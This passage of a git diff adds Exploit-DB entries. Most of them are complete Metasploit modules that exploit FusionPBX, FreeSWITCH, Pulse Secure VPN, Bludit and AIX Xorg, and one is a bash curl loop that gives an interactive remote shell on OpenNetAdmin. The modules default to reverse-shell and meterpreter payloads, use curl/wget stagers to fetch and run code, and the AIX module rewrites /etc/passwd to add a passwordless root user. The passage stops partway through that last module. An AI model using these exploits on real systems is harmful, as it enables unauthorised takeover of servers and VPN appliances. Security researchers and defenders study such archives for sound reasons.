00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000 +[ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100 +[ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000 +[ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk +[ 348.188617] CR2: 0000000000004289 +[ 348.189586] ---[ end trace dad859a1db86d660 ]--- +[ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs] +[ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75 +[ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246 +[ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249 +[ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004 +[ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150 +[ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401 +[ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004 +[ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000 +[ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0 +[ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +Killed +user@ubuntu1910vm:~/shiftfs_confuse$ +======================================= \ No newline at end of file diff --git a/exploits/multiple/remote/47697.rb b/exploits/multiple/remote/47697.rb new file mode 100755 index 000000000..d504623fe --- /dev/null +++ b/exploits/multiple/remote/47697.rb @@ -0,0 +1,164 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'FusionPBX Operator Panel exec.php Command Execution', + 'Description' => %q{ + This module exploits an authenticated command injection vulnerability + in FusionPBX versions 4.4.3 and prior. + + The `exec.php` file within the Operator Panel permits users with + `operator_panel_view` permissions, or administrator permissions, + to execute arbitrary commands as the web server user by sending + a `system` command to the FreeSWITCH event socket interface. + + This module has been tested successfully on FusionPBX version + 4.4.1 on Ubuntu 19.04 (x64). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Dustin Cobb', # Discovery and exploit + 'bcoles' # Metasploit + ], + 'References' => + [ + ['CVE', '2019-11409'], + ['EDB', '46985'], + ['URL', 'https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html'], + ['URL', 'https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611'] + ], + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"}, + 'CmdStagerFlavor' => %w[curl wget], + 'Targets' => + [ + ['Automatic (Unix In-Memory)', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, + 'Type' => :unix_memory + ], + ['Automatic (Linux Dropper)', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, + 'Type' => :linux_dropper + ] + ], + 'Privileged' => false, + 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, + 'DisclosureDate' => '2019-06-06', + 'DefaultTarget' => 0)) + register_options [ + OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']), + OptString.new('USERNAME', [true, 'The username for FusionPBX']), + OptString.new('PASSWORD', [true, 'The password for FusionPBX']) + ] + end + + def login(user, pass) + vprint_status "Authenticating as user '#{user}'" + + vars_post = { + username: user, + password: pass, + path: '' + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'), + 'vars_post' => vars_post + }) + + unless res + fail_with Failure::Unreachable, 'Connection failed' + end + + if res.code == 302 && res.headers['location'].include?('login.php') + fail_with Failure::NoAccess, "Login failed for user '#{user}'" + end + + unless res.code == 200 + fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" + end + + cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first + + unless cookie + fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie' + end + + print_good "Authenticated as user '#{user}'" + + cookie + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown + end + + if res.body.include?('FusionPBX') + return CheckCode::Detected + end + + CheckCode::Safe + end + + def execute_command(cmd, opts = {}) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'), + 'cookie' => "PHPSESSID=#{@cookie}", + 'vars_get' => {'cmd' => "bg_system #{cmd}"} + }, 5) + + unless res + return if session_created? + fail_with Failure::Unreachable, 'Connection failed' + end + + unless res.code == 200 + fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" + end + + if res.body.include? 'access denied' + fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel" + end + + res + end + + def exploit + unless check == CheckCode::Detected + fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable" + end + + @cookie = login(datastore['USERNAME'], datastore['PASSWORD']) + + print_status "Sending payload (#{payload.encoded.length} bytes) ..." + + case target['Type'] + when :unix_memory + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager(:linemax => 1_500) + end + end +end \ No newline at end of file diff --git a/exploits/multiple/remote/47698.rb b/exploits/multiple/remote/47698.rb new file mode 100755 index 000000000..bfd7c0bb1 --- /dev/null +++ b/exploits/multiple/remote/47698.rb @@ -0,0 +1,169 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Powershell + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'FreeSWITCH Event Socket Command Execution', + 'Description' => %q{ + This module uses the FreeSWITCH event socket interface + to execute system commands using the `system` API command. + + The event socket service is enabled by default and listens + on TCP port 8021 on the local network interface. + + This module has been tested successfully on FreeSWITCH versions: + + 1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine; + 1.8.4~64bit on Ubuntu 19.04 (x64); and + 1.10.1~64bit on Windows 7 SP1 (EN) (x64). + }, + 'License' => MSF_LICENSE, + 'Author' => ['bcoles'], + 'References' => + [ + ['CWE', '260'], # default password, configurable in event_socket.conf.xml + ['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket'] + ], + 'Platform' => %w[win linux unix bsd], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"}, + 'CmdStagerFlavor' => %w[curl wget certutil vbs], + 'Targets' => + [ + ['Unix (In-Memory)', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, + 'Type' => :unix_memory + ], + ['Linux (Dropper)', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, + 'Type' => :linux_dropper + ], + ['PowerShell (In-Memory)', + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}, + 'Type' => :psh_memory + ], + ['Windows (In-Memory)', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'}, + 'Type' => :win_memory + ], + ['Windows (Dropper)', + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}, + 'Type' => :win_dropper + ] + ], + 'Privileged' => false, + 'DefaultOptions' => { 'RPORT' => 8021 }, + 'DisclosureDate' => '2019-11-03', + 'DefaultTarget' => 0)) + register_options [ + OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon']) + ] + end + + def check + connect + banner = sock.get_once.to_s + disconnect + + if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection') + vprint_error 'Access denied by network ACL' + return CheckCode::Safe + end + + unless banner.include?('Content-Type: auth/request') + return CheckCode::Safe + end + + CheckCode::Appears + end + + def auth(password) + sock.put "auth #{password}\n\n" + res = sock.get_once.to_s + + unless res.include? 'Content-Type: command/reply' + fail_with Failure::UnexpectedReply, 'Unexpected reply' + end + + unless res.include?('Reply-Text: +OK accepted') + fail_with Failure::NoAccess, 'Login failed' + end + + print_status 'Login success' + end + + def execute_command(cmd, opts = {}) + api_function = opts[:foreground] ? 'system' : 'bg_system' + + sock.put "api #{api_function} #{cmd}\n\n" + res = sock.get_once.to_s + + unless res.include? 'Content-Type: api/response' + fail_with Failure::UnexpectedReply, 'Unexpected reply' + end + + vprint_status "Response: #{res}" + end + + def exploit + unless check == CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + connect + banner = sock.get_once.to_s + + auth(datastore['PASSWORD']) + + print_status "Sending payload (#{payload.encoded.length} bytes) ..." + + case target['Type'] + when :unix_memory + if datastore['PAYLOAD'] == 'cmd/unix/generic' + execute_command(payload.encoded, foreground: true) + else + execute_command(payload.encoded) + end + when :win_memory + if datastore['PAYLOAD'] == 'cmd/windows/generic' + execute_command(payload.encoded, foreground: true) + else + execute_command(payload.encoded) + end + when :psh_memory + execute_command( + cmd_psh_payload( + payload.encoded, + payload_instance.arch.first, + { :remove_comspec => true, :encode_final_payload => true } + ) + ) + when :linux_dropper + execute_cmdstager(:linemax => 1_500) + when :win_dropper + execute_cmdstager(:linemax => 1_500) + end + ensure + disconnect unless sock.nil? + end +end \ No newline at end of file diff --git a/exploits/multiple/remote/47700.rb b/exploits/multiple/remote/47700.rb new file mode 100755 index 000000000..4e561189c --- /dev/null +++ b/exploits/multiple/remote/47700.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Pulse Secure VPN Arbitrary Command Execution', + 'Description' => %q{ + This module exploits a post-auth command injection in the Pulse Secure + VPN server to execute commands as root. The env(1) command is used to + bypass application whitelisting and run arbitrary commands. + + Please see related module auxiliary/gather/pulse_secure_file_disclosure + for a pre-auth file read that is able to obtain plaintext and hashed + credentials, plus session IDs that may be used with this exploit. + + A valid administrator session ID is required in lieu of untested SSRF. + }, + 'Author' => [ + 'Orange Tsai', # Discovery (@orange_8361) + 'Meh Chang', # Discovery (@mehqq_) + 'wvu' # Module + ], + 'References' => [ + ['CVE', '2019-11539'], + ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'], + ['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'], + ['URL', 'https://hackerone.com/reports/591295'] + ], + 'DisclosureDate' => '2019-04-24', # Public disclosure + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + ['Unix In-Memory', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'BadChars' => %Q(&*(){}[]`;|?\n~<>"'), + 'Encoder' => 'generic/none' # Force manual badchar analysis + }, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'} + ], + ['Linux Dropper', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper, + 'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'} + ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, + 'CMDSTAGER::SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure'] + } + )) + + register_options([ + OptString.new('SID', [true, 'Valid admin session ID']) + ]) + end + + def post_auth? + true + end + + def exploit + get_csrf_token + + print_status("Executing #{target.name} target") + + case target['Type'] + when :unix_memory + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager( + flavor: :curl, + noconcat: true + ) + end + end + + def get_csrf_token + @cookie = "DSID=#{datastore['SID']}" + print_good("Setting session cookie: #{@cookie}") + + print_status('Obtaining CSRF token') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => diag_cgi, + 'cookie' => @cookie + ) + + unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body)) + fail_with(Failure::NoAccess, 'Session cookie expired or invalid') + end + + print_good("CSRF token: #{@csrf_token}") + end + + def parse_csrf_token(body) + body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first + end + + def execute_command(cmd, _opts = {}) + # Prepend absolute path to curl(1), since it's not in $PATH + cmd.prepend('/home/bin/') if cmd.start_with?('curl') + + # Bypass application whitelisting with permitted env(1) + cmd.prepend('env ') + + vprint_status("Executing command: #{cmd}") + print_status("Yeeting exploit at #{full_uri(diag_cgi)}") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => diag_cgi, + 'cookie' => @cookie, + 'vars_get' => { + 'a' => 'td', # tcpdump + 'options' => sploit(cmd), + 'xsauth' => @csrf_token, + 'toggle' => 'Start Sniffing' + } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Could not yeet exploit') + end + + print_status("Triggering payload at #{full_uri(setcookie_cgi)}") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => setcookie_cgi + }, 3.1337) + + # 200 response code, yet 500 error in body + unless res && res.code == 200 && !res.body.include?('500 Internal Error') + print_warning('Payload execution may have failed') + return + end + + print_good('Payload execution successful') + + if datastore['PAYLOAD'] == 'cmd/unix/generic' + print_line(res.body.sub(/\s*.*/m, '')) + end + end + + def sploit(cmd) + %(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <) + end + + def diag_cgi + '/dana-admin/diag/diag.cgi' + end + + def setcookie_cgi + '/dana-na/auth/setcookie.cgi' + end + +end \ No newline at end of file diff --git a/exploits/php/remote/47699.rb b/exploits/php/remote/47699.rb new file mode 100755 index 000000000..378f1fab2 --- /dev/null +++ b/exploits/php/remote/47699.rb @@ -0,0 +1,262 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + include Msf::Exploit::FileDropper + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => "Bludit Directory Traversal Image File Upload Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability in Bludit. A remote user could abuse the uuid + parameter in the image upload feature in order to save a malicious payload anywhere + onto the server, and then use a custom .htaccess file to bypass the file extension + check to finally get remote code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'christasa', # Original discovery + 'sinn3r' # Metasploit module + ], + 'References' => + [ + ['CVE', '2019-16113'], + ['URL', 'https://github.com/bludit/bludit/issues/1081'], + ['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Notes' => + { + 'SideEffects' => [ IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ] + }, + 'Targets' => + [ + [ 'Bludit v3.9.2', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "2019-09-07", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']), + OptString.new('BLUDITUSER', [true, 'The username for Bludit']), + OptString.new('BLUDITPASS', [true, 'The password for Bludit']) + ]) + end + + class PhpPayload + attr_reader :payload + attr_reader :name + + def initialize(p) + @payload = p + @name = "#{Rex::Text.rand_text_alpha(10)}.png" + end + end + + class LoginBadge + attr_reader :username + attr_reader :password + attr_accessor :csrf_token + attr_accessor :bludit_key + + def initialize(user, pass, token, key) + @username = user + @password = pass + @csrf_token = token + @bludit_key = key + end + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php') + }) + + unless res + vprint_error('Connection timed out') + return CheckCode::Unknown + end + + html = res.get_html_document + generator_tag = html.at('meta[@name="generator"]') + unless generator_tag + vprint_error('No generator metadata tag found in HTML') + return CheckCode::Safe + end + + content_attr = generator_tag.attributes['content'] + unless content_attr + vprint_error("No content attribute found in metadata tag") + return CheckCode::Safe + end + + if content_attr.value == 'Bludit' + return CheckCode::Detected + end + + CheckCode::Safe + end + + def get_uuid(login_badge) + print_status('Retrieving UUID...') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'), + 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};" + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out') + end + + html = res.get_html_document + uuid_element = html.at('input[@name="uuid"]') + unless uuid_element + fail_with(Failure::Unknown, 'No UUID found in admin/new-content/') + end + + uuid_val = uuid_element.attributes['value'] + unless uuid_val && uuid_val.respond_to?(:value) + fail_with(Failure::Unknown, 'No UUID value') + end + + uuid_val.value + end + + def upload_file(login_badge, uuid, content, fname) + print_status("Uploading #{fname}...") + + data = Rex::MIME::Message.new + data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"") + data.add_part(uuid, nil, nil, 'form-data; name="uuid"') + data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", + 'headers' => {'X-Requested-With' => 'XMLHttpRequest'}, + 'data' => data.to_s + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out') + end + end + + def upload_php_payload_and_exec(login_badge) + # From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/ + # To: /var/www/html/bludit/bl-content/tmp + uuid = get_uuid(login_badge) + php_payload = get_php_payload + upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name) + + # On the vuln app, this line occurs first: + # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); + # Even though there is a file extension check, it won't really stop us + # from uploading the .htaccess file. + htaccess = <<~HTA + RewriteEngine off + AddType application/x-httpd-php .png + HTA + upload_file(login_badge, uuid, htaccess, ".htaccess") + register_file_for_cleanup('.htaccess') + + print_status("Executing #{php_payload.name}...") + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name) + }) + end + + def get_php_payload + @php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true)) + end + + def get_login_badge(res) + cookies = res.get_cookies + bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || '' + + html = res.get_html_document + csrf_element = html.at('input[@name="tokenCSRF"]') + unless csrf_element + fail_with(Failure::Unknown, 'No tokenCSRF found') + end + + csrf_val = csrf_element.attributes['value'] + unless csrf_val && csrf_val.respond_to?(:value) + fail_with(Failure::Unknown, 'No tokenCSRF value') + end + + LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key) + end + + def do_login + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php') + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out') + end + + login_badge = get_login_badge(res) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), + 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", + 'vars_post' => + { + 'tokenCSRF' => login_badge.csrf_token, + 'username' => login_badge.username, + 'password' => login_badge.password + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out') + end + + # A new csrf value is generated, need to update this for the upload + if res.headers['Location'].to_s.include?('/admin/dashboard') + store_valid_credential(user: login_badge.username, private: login_badge.password) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'), + 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out') + end + + new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first + login_badge.csrf_token = new_csrf if new_csrf + return login_badge + end + + fail_with(Failure::NoAccess, 'Authentication failed') + end + + def exploit + login_badge = do_login + print_good("Logged in as: #{login_badge.username}") + upload_php_payload_and_exec(login_badge) + end +end \ No newline at end of file diff --git a/exploits/php/webapps/47691.sh b/exploits/php/webapps/47691.sh new file mode 100755 index 000000000..0f956a065 --- /dev/null +++ b/exploits/php/webapps/47691.sh @@ -0,0 +1,23 @@ +# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution +# Date: 2019-11-19 +# Exploit Author: mattpascoe +# Vendor Homepage: http://opennetadmin.com/ +# Software Link: https://github.com/opennetadmin/ona +# Version: v18.1.1 +# Tested on: Linux + +# Exploit Title: OpenNetAdmin v18.1.1 RCE +# Date: 2019-11-19 +# Exploit Author: mattpascoe +# Vendor Homepage: http://opennetadmin.com/ +# Software Link: https://github.com/opennetadmin/ona +# Version: v18.1.1 +# Tested on: Linux + +#!/bin/bash + +URL="${1}" +while true;do + echo -n "$ "; read cmd + curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 +done \ No newline at end of file diff --git a/exploits/unix/local/47701.rb b/exploits/unix/local/47701.rb new file mode 100755 index 000000000..ada71b024 --- /dev/null +++ b/exploits/unix/local/47701.rb @@ -0,0 +1,222 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::File + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Xorg X11 Server Local Privilege Escalation', + 'Description' => %q( + WARNING: Successful execution of this module results in /etc/passwd being overwritten. + + This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. + + A permission check flaw exists for -modulepath and -logfile options when + starting Xorg. This allows unprivileged users that can start the server + the ability to elevate privileges and run arbitrary code under root + privileges. + + This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. + Due to permission restrictions of the crontab in AIX, this module does not use cron, + and instead overwrites /etc/passwd in order to create a new user with root privileges. + All currently logged in users need to be included when /etc/passwd is overwritten, + else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. + The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, + and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when + overwriting /etc/passwd. + ), + 'Author' => + [ + 'Narendra Shinde', # Discovery and original FreeBSD exploit + 'Zack Flack ' # Metasploit module and original AIX exploit + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Oct 25 2018', + 'Notes' => + { + 'SideEffects' => [ CONFIG_CHANGES ] + }, + 'References' => + [ + ['CVE', '2018-14665'], + ['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'], + ['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'], + ['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'], + ['EDB', '45938'] + ], + 'Platform' => ['unix'], + 'Arch' => [ARCH_CMD], + 'SessionTypes' => ['shell'], + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl' + } + }, + 'DefaultOptions' => { + 'Payload' => 'cmd/unix/reverse_perl' + }, + 'Targets' => + [ + ['IBM AIX Version 6.1', {}], + ['IBM AIX Version 7.1', {}], + ['IBM AIX Version 7.2', {}] + ], + 'DefaultTarget' => 1)) + + register_options( + [ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ] + ) + end + + def check + xorg_path = cmd_exec('command -v Xorg') + if !xorg_path.include?('Xorg') + print_error('Could not find Xorg executable') + return Exploit::CheckCode::Safe + end + + ksh93_path = cmd_exec('command -v ksh93') + if !ksh93_path.include?('ksh') + print_error('Could not find Ksh93 executable') + return Exploit::CheckCode::Safe + end + + if !xorg_vulnerable? + print_error('Xorg version is not vulnerable') + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Appears + end + + def exploit + status = check + + if status == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, '') + end + + if !writable?(datastore['WritableDir']) + fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable") + end + + xorg_path = cmd_exec('command -v Xorg') + ksh93_path = cmd_exec('command -v ksh93') + + xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir']) + xorg_script_path = "#{datastore['WritableDir']}/wow.ksh" + upload_and_chmodx(xorg_script_path, xorg_payload) + + passwd_backup = "#{datastore['WritableDir']}/passwd.backup" + print_status("Backing up /etc/passwd to #{passwd_backup}") + cmd_exec("cp /etc/passwd #{passwd_backup}") + register_file_for_cleanup(passwd_backup) + + print_status("Executing #{xorg_script_path}") + cmd_exec(xorg_script_path) + print_status('Checking if we are root') + + if root? + shell_payload = %(#!#{ksh93_path} +#{payload.encoded} +) + shell_script_path = "#{datastore['WritableDir']}/wowee.ksh" + upload_and_chmodx(shell_script_path, shell_payload) + + print_status('Executing shell payload') + cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"") + + print_status('Restoring original /etc/passwd') + cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"") + else + fail_with(Failure::PayloadFailed, '') + end + end + + def generate_xorg_payload(xorg_path, ksh93_path, writabledir) + passwd_file = read_file('/etc/passwd') + passwd_array = passwd_file.split("\n") + + print_status('Retrieving currently logged in users') + users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq') + users << "\n" + users_array = users.split("\n") + + logged_in_users = '' + if !users_array.empty? + users_array.each do |user| + user << ':' + passwd_array.each do |line| + if line.index(user) == 0 + logged_in_users << '\n' + logged_in_users << line + end + end + end + end + + passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'" + + subdir_count = writabledir.count('/') + relative_passwd = '../' * subdir_count + '../../etc/passwd' + + return %(#!#{ksh93_path} + #{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1 +) + end + + def xorg_vulnerable? + version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'') + print_status("Xorg version is #{version}") + semantic_version = Gem::Version.new(version) + + vulnerable_versions = [ + ['6.1.9.0', '6.1.9.100'], + ['7.1.4.0', '7.1.4.30'], + ['7.1.5.0', '7.1.5.31'], + ['7.2.0.0', '7.2.0.1'], + ['7.2.1.0', '7.2.1.0'], + ['7.2.2.0', '7.2.2.0'], + ['7.2.3.0', '7.2.3.15'] + ] + + vulnerable_versions.each do |version_pair| + if semantic_version >= Gem::Version.new(version_pair[0]) && + semantic_version <= 